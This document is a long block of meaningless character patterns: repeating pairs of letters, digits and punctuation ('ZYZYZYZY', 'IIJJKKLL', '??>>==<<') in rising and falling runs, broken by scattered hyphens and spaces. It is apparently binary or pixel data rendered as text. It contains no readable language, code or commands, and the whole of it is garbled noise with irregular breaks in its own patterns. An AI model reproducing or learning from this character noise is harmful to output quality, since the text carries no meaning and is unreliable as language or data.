-ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!         - - - -ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656343212120/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!      - - - -ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656121111120/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?>;<;<;<;<9:9:9:9:56565656121212120/0/0/0/.-.-.-,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656121212120/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656121212120/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656121211110/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656112121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9:56565656212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMNMLKLKIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<9:9:9:9856565656212121210/0/0/0/,+,+,+,+*)*)*)*)('('('&%$#$#$#$#"!"!"!"! - - - -ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKKKKKIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - -ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLIJIJIJIJGHGHGHGFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - -XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787856565656212111110/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - -XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787856565656121212120/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - -XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787856565656121212120/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"! - - - -XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787856565656121212120/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!   - - - -XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOKLKKKKKKIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787856565656121212120/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -XWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKIJIJIJIJEFEFEFEFCDCDCDCDABABABA@=>=>=>=>;<;<;<;<7878787856565656121212120/0/0/.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<787878785656565612111111.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<787878785656565621212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<787878785656565621212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<787878785656565621212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKKKKKKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<787878785656543421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;:787878783434343421212121.-.-.-.-,+,+,+,+*)*)*)('&%&%&%&%$#$#$#$#         XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:787878783434343421111112.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLIJIJIJIHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:787878783434343412121212.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:787878783434343412121212.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:787878783434343412121212.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOKKKKKKLKGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:787878783434343412121212.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:787878783434343412121212.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#"!         XWXWXWXWVUVUVUVURQRQRQRQPOPOPONMLKLKLKLKGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:787878783434343411111121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKGHGHGHGHEFEFEFEFCDCDCDCB?@?@?@?@=>=>=>=>9:9:9:9:78787878343434342121210/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:78787878343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         IIJJKKLL''(())** - QPPOONNMpqqrrsst !!""##$100//..-~~}@AABBCCD 0//..--,hhggffeeYYZZ[[\\ - - MMNNOOPP++,,--..MLLKKJJItuuvvwwx$%%&&''(-,,++**)}||{{zzyDEEFFGGH - - ,++**))(ddccbbaa]]^^__`` ~~}}QQRRSSTT//001177 - - IHHGGFFExyyzz{{|())**++,)((''&&%yxxwwvvuHIIJJKKL (''&&%%$``__^^]]aabbccdd||{{zzyyUUVVWWXX8899::;; EDDCCBBA|}}~~,--..//0%$$##""!uttssrrqLMMNNOOP$##""!! \\[[ZZYYeeffgghhxxwwvvuuYYZZ[[\\<<==>>??A@@??>>=01122334! qppoonnmPQQRRSST XXWWVVUUiijjkkllttssrrqq]]^^__``@@AABBCC=<<;;::945566778mllkkjjiTUUVVWWX - - TTSSRRQQmmnnoopp ppoonnmmaabbccddDDEEFFGG98877665899::;;<ihhggffeXYYZZ[[\ PPOONNMMqqrrsstt!!""##$$llkkjjiieeffgghhHHIIJJKK 54433221<==>>??@eddccbba\]]^^__` LLKKJJIIuuvvwwxx%%&&''((hhggffeeiijjkkllQQRRSSTT !!""##$100//..-~~}@AABBCCD a``__^^]`aabbccd - - HHGGFFEEyyzz{{||))**++,,ddccbbaammnnooppUUVVWWXX$%%&&''(-,,++**)}||{{zzyDEEFFGGH - - ]\\[[ZZYdeeffggh !DDCCBBAA}}~~--..//00``__^^]]qqrrssttYYZZ[[\\())**++,)((''&&%yxxwwvvuHIIJJKKL YXXWWVVUhiijjkkl!""##$$%@@??>>==11223344\\[[ZZYYuuvvwwxx]]^^__``,--..//0%$$##""!uttssrrqLMMNNOOPUTTSSRRQlmmnnoop%&&''(() - - <<;;::9955667788XXWWVVUUyyzz{{||aabbccdd01122334! qppoonnmPQQRRSSTQPPOONNMpqqrrsst)**++,,- 8877665599::;;<>??@@PPOONNMMnnooppqq899::;;<ihhggffeXYYZZ[[\ - - IHHGGFFExyyzz{{|1778899:00//..--~~}}AABBCCDDLLKKJJIIrrssttuu<==>>??@eddccbba\]]^^__` EDDCCBBA|}}~~:;;<<==>,,++**))||{{zzyyEEFFGGHHHHGGFFEEvvwwxxyy@AABBCCD a``__^^]`aabbccdA@@??>>=>??@@AAB !!""((''&&%%xxwwvvuuIIJJKKLLDDCCBBAA~~}}||zz{{||}}DEEFFGGH - - ]\\[[ZZYdeeffggh=<<;;::9BCCDDEEF##$$%%&&$$##""!!ttssrrqqMMNNOOPP@@??>>=={{zzyyxx~~HIIJJKKL YXXWWVVUhiijjkkl98877665FGGHHIIJ''(())** ppoonnmmQQRRSSTT<<;;::99wwvvuuttLMMNNOOPUTTSSRRQlmmnnoop 54433221JKKQQRRS++,,--..llkkjjiiUUVVWWXX88776655ssrrqqppPQQRRSSTQPPOONNMpqqrrsst !!""##$100//..-~~}STTUUVVW//001123hhggffeeYYZZ[[\\44332211oonnmmll~~}}|TUUVVWWXMLLKKJJItuuvvwwx$%%&&''(-,,++**)}||{{zzyWXXYYZZ[45677889ddccbbaa]]^^__``00//..--kkeeddcc|{{zzyyxXYYZZ[[\ - - IHHGGFFExyyzz{{|())**++,)((''&&%yxxwwvvu[\\]]^^_9::;;<<= ``__^^]]aabbccdd,,++**))bbaa``__xwwvvuut\]]^^__` EDDCCBBA|}}~~,--..//0%$$##""!uttssrrq_``aabbc=>>??@@A - - \\[[ZZYYeeffgghhHHGGFFEE((''&&%%^^]]\\[[tssrrqqp`aabbccdA@@??>>=01122334! qppoonnmcddeekklABBCCDDEXXWWVVUUiijjkkllDDCCBBAA$$##""!!ZZYYXXWWpoonnmmldeeffggh=<<;;::945566778mllkkjjilmmnnoopEFFGGHHITTSSRRQQmmnnoopp@@??>>== VVUUTTSSlkkjihgfhiijjkkl98877665899::;;<ihhggffepqqrrsstIJJKKLMNPPOONNMMqqrrsstt<<;;::99RRQQKKJJeeddccbblmmnnoop 54433221<==>>??@eddccbbatuuvvwwxOPQQRRSSLLKKJJIIuuvvwwxx88776655IIHHGGFFaa``__^^pqqrrsst !!""##$100//..-~~}@AABBCCD a``__^^]xyyzz{{|TTUUVVWW - - HHGGFFEEyyzz{{||44332211EEDDCCBB]]\\[[ZZtuuvvwwx$%%&&''(-,,++**)}||{{zzyDEEFFGGH - - ]\\[[ZZY|}}~~XXYYZZ[[ DDCCBBAA}}~~00//..-- AA@@??>>YYXXWWVVxyyzz{{|())**++,)((''&&%yxxwwvvuHIIJJKKL YXXWWVVU\\]]^^__@@??>>==,,++**)) - - ==<<;;::UUTTSSRR|}}~~,--..//0%$$##""!uttssrrqLMMNNOOPUTTSSRRQ``aabbcc<<;;::99((''&&%% - - 99887711QQPONMLK01122334! qppoonnmPQQRRSSTQPPOONNM~~}}||{ddeefghi88776655$$##""!! 00//..--KJJIIHHG45566778mllkkjjiTUUVVWWXMLLKKJJI{zzyyxxwjkkllmmn 44332211 ,,++**))GFFEEDDC899::;;<ihhggffeXYYZZ[[\ - - IHHGGFFEwvvuuttsnooppqqr!!""##$$00//..--~~}}((''&&%%CBBAA@@?<==>>??@eddccbba\]]^^__` EDDCCBBAsrrqqpporssttuuv%%&&''((,,++**))||{{zzyy$$##""!!?>>==<<;~~}@AABBCCD a``__^^]`aabbccdA@@??>>=onnmmllkvwwxxyyz))**++,,((''&&%%xxwwvvuu ;::99887}||{{zzyDEEFFGGH - - ]\\[[ZZYdeeffggh=<<;;::9keeddccbz{{||}}~--..//00$$##""!!ttssrrqq !!""##$$76543211yxxwwvvuHIIJJKKL YXXWWVVUhiijjkkl98877665baa``__^~11223344 ppoonnmm - - %%&&''((00//..--uttssrrqLMMNNOOPUTTSSRRQlmmnnoop 54433221^]]\\[[Z55667788llkkjjii))**++,, ,,++**))qppoonnmPQQRRSSTQPPOONNMpqqrrsst !!""##$100//..-ZYYXXWWV99::;;<<hhggffee--..//00 - - ((''&&%%mllkkjjiTUUVVWWXMLLKKJJItuuvvwwx$%%&&''(-,,++**)VUUTTSSR==>>??@@ddccbbaa11223344 - - $$##""!!ihhggffeXYYZZ[[\ - - IHHGGFFExyyzz{{|())**++,)((''&&%RQQKKJJI~~}}AABBCCDD ``__^^]]55667788 eddccbba\]]^^__` EDDCCBBA|}}~~,--..//0%$$##""!IHHGGFFE||{{zzyyEEFFGGHH - - \\[[ZZYY - - 99::;;<<a``__^^]`aabbccdA@@??>>=01122334! EDDCCBBAxxwwvvuuIIJJKKLLXXWWVVUU ==>>??@@]\\[[ZZYdeeffggh=<<;;::945566778A@@??>>=ttssrrqqMMNNOOPPTTSSRRQQAABBCCDD !!""YXXWWVVUhiijjkkl98877665899::;;<=<<;;::9ppoonnmmQQRRSSTTPPOONNMMEEFFGGHH##$$%%&& -UTTSSRRQlmmnnoop 54433221<==>>??@98877110llkkjjiiUUVVWWXXLLKKJJII 44332211==>>??@@ lkkjjiihUVVWWXXY LKKJJIIHuvvwwxxy%&&''((),++**))(UTTSSRRQ>>??@@AAccbbaa``^^__``aaCCBBAA@@~~^^__``aa&''(())*+**))(('{zzyyxxwFGGHHIIJ - - IHHGGFFEUTTSSRRQ!!""##$$00//..--~~}}AABBCCDDhggffeedYZZ[[\\] - - HGGFFEEDyzz{{||})**++,,-(''&&%%$QKKJJIIH~~}}||BBCCDDEE __^^]]\\bbccddee??>>==<>=MLLKKJJI))**++,,((''&&%%xxwwvvuuIIJJKKLL !!""`__^^]]\abbccdde@??>>==<12233445 DCCBBAA@wwvvuuttJJKKLLMMWWVVUUTTjjkkllmm77665544ooppqqrr23344556onnmmllkRSSTTUUV=<<;;::9IHHGGFFE--..//00$$##""!!ttssrrqqMMNNOOPP##$$%%&& -\[[ZZYYXeffgghhi<;;::99856677889@??>>==gffeeddcZ[[\\]]^ - 0//..--,A@@??>>=55667788llkkjjiiUUVVWWXX++,,--..TSSRRQQPmnnooppq !43322110=>>??@@A8771100/kkjjiihhVVWWXXYY KKJJIIHHvvwwxxyy&&''(())++**))((vvuuttss{{||}}~~>??@@AABcbbaa``_^__``aab,++**))(=<<;;::999::;;<<hhggffeeYYZZ[[\\//001177POONNMMLqrrssttu!""##$$%0//..--,~~}}|ABBCCDDE /..--,,+ggffeeddZZ[[\\]] - - GGFFEEDDzz{{||}}**++,,--''&&%%$$rrqqppooBCCDDEEF _^^]]\\[bccddeef(''&&%%$98877665==>>??@@ddccbbaa]]^^__``8899::;; LKKJJIIHuvvwwxxy%&&''((),++**))(|{{zzyyxEFFGGHHI - - +**))(('ccbbaa``^^__``aaCCBBAA@@~~..//0011##""!! nnmmllkkFGGHHIIJ - - [ZZYYXXWfgghhiij$##""!! 54433221AABBCCDD ``__^^]]aabbccdd<<==>>?? - - HGGFFEEDyzz{{||})**++,,-(''&&%%$xwwvvuutIJJKKLLM'&&%%$$#__^^]]\\bbccddee??>>==<<22334455eeddccbbJKKLLMMNWVVUUTTSjkkllmmn 100//..-EEFFGGHH - - \\[[ZZYYeeffgghh@@AABBCC DCCBBAA@}~~-..//001$##""!! tssrrqqpMNNOOPPQ#""!! [[ZZYYXXffgghhii;;::998866778899aa``__^^~~}}||{NOOPPQQRSRRQQPPOnooppqqr !!"-,,++**)IIJJKKLLXXWWVVUUiijjkkllDDEEFFGG@??>>==<12233445 poonnmmlQRRSSTTU WWVVUUTTjjkkllmm77665544::;;<<==]]\\[[ZZ{zzyyxxwRSSTTUUVONNMMLLKrssttuuv"##$$%%&)((''&&%MMNNOOPPTTSSRRQQmmnnooppHHIIJJKK<;;::99856677889lkkjjiihUVVWWXXY - - SSRRQQPPnnooppqq !!33221100>>??@@AAYYXXWWVVwvvuuttsVWWXXYYZ -KJJIIHHGvwwxxyyz&''(())* %$$##""!QQRRSSTTPPOONNMMqqrrssttQQRRSSTT877665549::;;<<=hggffeedYZZ[[\\] OONNMMLLrrssttuu""##$$%%//..--,,~~}}||BBCCDDEE UUTTSSRRsrrqqppoZ[[\\]]^ - GFFEEDDCz{{||}}~*++,,--. - - -! UUVVWWXXLLKKJJIIuuvvwwxxUUVVWWXX !43322110=>>??@@Adccbbaa`]^^__``a -KKJJIIHHvvwwxxyy&&''(())++**))(({{zzyyxxFFGGHHII - - QQKKJJIIonnmmllk^__``aabCBBAA@@?~.//00112 - YYZZ[[\\ - - HHGGFFEEyyzz{{||YYZZ[[\\!""##$$%0//..--,~~}}|ABBCCDDE `__^^]]\abbccdde - GGFFEEDDzz{{||}}**++,,--''&&%%$$wwvvuuttJJKKLLMMHHGGFFEEkjihgfeebccddeef?>>==<<;23344556]]^^__`` DDCCBBAA}}~~]]^^__``%&&''((),++**))(|{{zzyyxEFFGGHHI - - \[[ZZYYXeffgghhi !!"CCBBAA@@~~..//0011##""!! ssrrqqppNNOOPPQQDDCCBBAAddccbbaafgghhiij;::998876778899:aabbccdd@@??>>==aabbccdd)**++,,-(''&&%%$xwwvvuutIJJKKLLMXWWVVUUTijjkkllm"##$$%%& ??>>==<<22334455oonnmmllRRSSTTUU@@??>>==``__^^]]jkkllmmn76655443:;;<<==> eeffgghh<<;;::99eekkllmm-..//001$##""!! tssrrqqpMNNOOPPQTSSRRQQPmnnooppq&''(())* - - ;;::998866778899kkjjiihhVVWWXXYY <<;;::99\\[[ZZYYnooppqqr !!"3221100/>??@@AAB !!""# - - iijjkkll88776655nnooppqq12233445 poonnmmlQRRSSTTUPOONNMMLqrrssttu*++,,--. 77665544::;;<<==ggffeeddZZ[[\\]] - - 88771100XXWWVVUUrssttuuv"##$$%%&/..--,,+~~}}||{BCCDDEEF#$$%%&&' - - mmnnoopp 44332211~~}}||rrssttuu56677889lkkjjiihUVVWWXXY LKKJJIIHuvvwwxxy.//0011733221100>>??@@AAccbbaa``^^__``aa//..--,,TTSSRRQQvwwxxyyz&''(())*+**))(('{zzyyxxwFGGHHIIJ'(())**+ qqrrsstt!!""##$$00//..--{{zzyyxxvvwwxxyy9::;;<<=hggffeedYZZ[[\\] - - HGGFFEEDyzz{{||}78899::;//..--,,~~}}||BBCCDDEE __^^]]\\bbccddee++**))((PONMLKKJz{{||}}~*++,,--.'&&%%$$#wvvuuttsJKKLLMMN+,,--../uuvvwwxx%%&&''((,,++**))wwvvuuttzz{{||}}=>>??@@Adccbbaa`]^^__``a DCCBBAA@}~~;<<==>>?++**))(({{zzyyxxFFGGHHII - - [[ZZYYXXffgghhii''&&%%$$JIIHHGGF~.//00112#""!! srrqqppoNOOPPQQR/0011778yyzz{{||))**++,,((''&&%%ssrrqqpp~~ABBCCDDE `__^^]]\abbccdde@??>>==6778899:kjjiihhgVWWXXYYZ<==>>??@ 11223344 kkeeddccIJJKKLLMXWWVVUUTijjkkllm87766554GHHIIJJK(())**++oonnmmllRRSSTTUUOONNMMLLrrssttuu""##$$%%>==<<;;::;;<<==>gffeeddcZ[[\\]]^@AABBCCD !!""##$55667788bbaa``__~~}}|MNNOOPPQTSSRRQQPmnnooppq !43322110KQQRRSST,,--..//kkjjiihhVVWWXXYY KKJJIIHHvvwwxxyy&&''(()):9988776>??@@AABcbbaa``_^__``aabDEEFFGGH$%%&&''(99::;;<<^^]]\\[[|{{zzyyxQRRSSTTUPOONNMMLqrrssttu!""##$$%0//..--,~~}}|TUUVVWWX00112345ggffeeddZZ[[\\]] - - GGFFEEDDzz{{||}}**++,,-- 54321100~~}}||{BCCDDEEF _^^]]\\[bccddeefHIIJJKKQ())**++,==>>??@@ZZYYXXWWxwwvvuutUVVWWXXY LKKJJIIHuvvwwxxy%&&''((),++**))(|{{zzyyxXYYZZ[[\6778899:ccbbaa``^^__``aaCCBBAA@@~~..//0011 - - //..--,,{zzyyxxwFGGHHIIJ - - [ZZYYXXWfgghhiijQRRSSTTU,--..//0~~}}AABBCCDD VVUUTTSStssrrqqpYZZ[[\\] - - HGGFFEEDyzz{{||})**++,,-(''&&%%$xwwvvuut\]]^^__`:;;<<==> __^^]]\\bbccddee??>>==<<22334455++**))((wvvuuttsJKKLLMMNWVVUUTTSjkkllmmnUVVWWXXY01122334||{{zzyyEEFFGGHH - - RRQQKKJJpoonnmml]^^__``a DCCBBAA@}~~-..//001$##""!! tssrrqqp`aabbccd>??@@AAB - - [[ZZYYXXffgghhii;;::998866778899 - -''&&%%$$srrqqppoNOOPPQQRSRRQQPPOnooppqqrYZZ[[\\]45566778xxwwvvuuIIJJKKLLIIHHGGFFlkkjihgfabbccdde@??>>==<12233445 poonnmmldeekkllmBCCDDEEFWWVVUUTTjjkkllmm77665544::;;<<== ##""!! onnmmllkRSSTTUUVONNMMLLKrssttuuv]^^__``a899::;;>??@@AAkjjiihhgVWWXXYYZ -KJJIIHHGvwwxxyyzabbccdde<==>>??@ppoonnmmQQRRSSTTAA@@??>>aa``__^^ijjkkllm877665549::;;<<=hggffeedqrrssttuJKKLMNOPOONNMMLLrrssttuu""##$$%%//..--,,~~}}||BBCCDDEEgffeeddcZ[[\\]]^ - GFFEEDDCz{{||}}~ekkllmmn@AABBCCDllkkjjiiUUVVWWXX==<<;;::]]\\[[ZZmnnooppq !43322110=>>??@@Adccbbaa`uvvwwxxyQQRRSSTT KKJJIIHHvvwwxxyy&&''(())++**))(({{zzyyxxFFGGHHIIcbbaa``_^__``aabCBBAA@@?~nooppqqrDEEFFGGHhhggffeeYYZZ[[\\ - - 99887711YYXXWWVVqrrssttu!""##$$%0//..--,~~}}|ABBCCDDE `__^^]]\yzz{{||}UUVVWWXX - - GGFFEEDDzz{{||}}**++,,--''&&%%$$wwvvuuttJJKKLLMM !!""## _^^]]\\[bccddeef?>>==<<;rssttuuvHIIJJKKLddccbbaa]]^^__`` 00//..--UUTTSSRRuvvwwxxy%&&''((),++**))(|{{zzyyxEFFGGHHI - - \[[ZZYYX}~~YYZZ[[\\CCBBAA@@~~..//0011##""!! ssrrqqppNNOOPPQQ$$%%&&'' - - [ZZYYXXWfgghhiij;::99887vwwxxyyzLMMNNOOP``__^^]]aabbccdd,,++**))QQPONMLKyzz{{||})**++,,-(''&&%%$xwwvvuutIJJKKLLMXWWVVUUT]]^^__``??>>==<<22334455oonnmmllRRSSTTUU(())**++ WVVUUTTSjkkllmmn76655443~~}}||{z{{||}}}PQQRRSST\\[[ZZYYeeffgghh((''&&%%KJJIIHHG}~~-..//001$##""!! tssrrqqpMNNOOPPQTSSRRQQP~aabbccdd;;::998866778899kkjjiihhVVWWXXYY,,--..//SRRQQPPOnooppqqr !!"3221100/{zzyyxxw}||{{zzyTUUVVWWXXXWWVVUUiijjkkll$$##""!!GFFEEDDC12233445 poonnmmlQRRSSTTUPOONNMML~}}||{{zeefghijk77665544::;;<<==ggffeeddZZ[[\\]]00117788ONNMMLLKrssttuuv"##$$%%&/..--,,+wvvuuttsyxxwwvvuXYYZZ[[\TTSSRRQQmmnnoopp CBBAA@@?56677889lkkjjiihUVVWWXXY LKKJJIIHzyyxxwwvkllmmnno !!33221100>>??@@AAccbbaa``^^__``aa99::;;<< -KJJIIHHGvwwxxyyz&''(())*+**))(('srrqqppouttssrrq\]]^^__`PPOONNMMqqrrsstt!!""##$$?>>==<<;9::;;<<=hggffeedYZZ[[\\] - - HGGFFEEDvuuttssroppqqrrs""##$$%%//..--,,~~}}||BBCCDDEE __^^]]\\bbccddee==>>??@@ - GFFEEDDCz{{||}}~*++,,--.'&&%%$$#onnmmllkqppoonnm`aabbccdLLKKJJIIuuvvwwxx%%&&''((;::99887=>>??@@Adccbbaa`]^^__``a DCCBBAA@rqqppoonsttuuvvw&&''(())++**))(({{zzyyxxFFGGHHII - - [[ZZYYXXffgghhiiAABBCCDDCBBAA@@?~.//00112#""!! keeddccbmllkkjjideeffgghHHGGFFEEyyzz{{||))**++,, 76543211~~}}|ABBCCDDE `__^^]]\abbccdde@??>>==>==<<;23344556baa``__^ihhggffehiijjkklDDCCBBAA}}~~--..//00 - - 00//..--|{{zzyyxEFFGGHHI - - \[[ZZYYXeffgghhi<;;::998eddccbba{||}}~~..//0011##""!! ssrrqqppNNOOPPQQSSRRQQPPnnooppqqIIJJKKQQ;::998876778899:^]]\\[[Zeddccbbalmmnnoop@@??>>==11223344,,++**))xwwvvuutIJJKKLLMXWWVVUUTijjkkllm87766554a``__^^]22334455oonnmmllRRSSTTUUOONNMMLLrrssttuuRRSSTTUU76655443:;;<<==>ZYYXXWWVa``__^^]pqqrrsst<<;;::9955667788 ((''&&%%tssrrqqpMNNOOPPQTSSRRQQPmnnooppq !43322110]\\[[ZZY66778899kkjjiihhVVWWXXYY KKJJIIHHvvwwxxyyVVWWXXYY !!"3221100/>??@@AABVUUTTSSR]\\[[ZZYtuuvvwwx8877665599::;;<< - - $$##""!!poonnmmlQRRSSTTUPOONNMMLqrrssttu!""##$$%0//..--,YXXWWVVU::;;<<==ggffeeddZZ[[\\]] - - GGFFEEDDzz{{||}}ZZ[[\\]]"##$$%%&/..--,,+~~}}||{BCCDDEEF 